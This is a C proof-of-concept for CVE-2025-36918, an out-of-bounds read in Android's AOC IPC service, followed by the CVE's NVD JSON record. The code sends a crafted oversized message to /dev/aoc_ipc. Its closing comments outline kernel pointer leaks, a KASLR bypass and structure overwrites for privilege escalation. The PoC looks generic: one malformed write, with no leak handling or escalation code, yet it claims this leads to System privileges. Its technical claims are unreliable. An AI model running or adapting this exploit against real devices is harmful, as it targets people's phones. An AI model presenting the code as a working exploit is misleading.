CVE-2025-36918

// CVE-2025-36918 PoC - Local Privilege Escalation via AOC IPC // This PoC demonstrates the out-of-bounds read in aoc_service_read_message #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #define AOC_IPC_DEVICE "/dev/aoc_ipc" #define MALICIOUS_MSG_SIZE 4096 int main() { printf("[*] CVE-2025-36918 PoC - AOC IPC Out-of-Bounds Read\n"); printf("[*] Target: aoc_service_read_message in aoc_ipc_core.c\n\n"); // Open AOC IPC device int fd = open(AOC_IPC_DEVICE, O_RDWR); if (fd < 0) { printf("[-] Failed to open AOC IPC device\n"); printf("[*] Note: This device may not exist on all devices\n"); printf("[*] The vulnerability exists in the AOC IPC service component\n"); return 1; } // Prepare malicious IPC message with oversized payload // The vulnerability occurs due to lack of input validation char malicious_msg[MALICIOUS_MSG_SIZE]; memset(malicious_msg, 0x41, MALICIOUS_MSG_SIZE); // Craft message header that triggers length check bypass // In vulnerable version, no proper bounds checking is performed *(uint32_t*)malicious_msg = 0xFFFFFFFF; // Oversized length field printf("[*] Sending malformed IPC message (size: %d)\n", MALICIOUS_MSG_SIZE); printf("[*] This triggers out-of-bounds read in aoc_service_read_message\n\n"); // Send malicious message to trigger vulnerability ssize_t ret = write(fd, malicious_msg, MALICIOUS_MSG_SIZE); if (ret > 0) { printf("[+] Message sent successfully\n"); printf("[*] Check system logs for memory dump or crash info\n"); printf("[*] Successful exploitation leads to System privilege escalation\n"); } else { printf("[-] Failed to send message\n"); } close(fd); return 0; } // Additional exploitation note: // After triggering OOB read, attacker can: // 1. Leak kernel pointers from memory // 2. Bypass KASLR via leaked addresses // 3. Overwrite sensitive structures for code execution

{"cve": {"id": "CVE-2025-36918", "sourceIdentifier": "[email protected]", "published": "2025-12-11T20:15:56.383", "lastModified": "2025-12-12T17:27:14.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In aoc_service_read_message of aoc_ipc_core.c, there is a possible out of bounds read due to improper input validation. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://source.android.com/security/bulletin/pixel/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}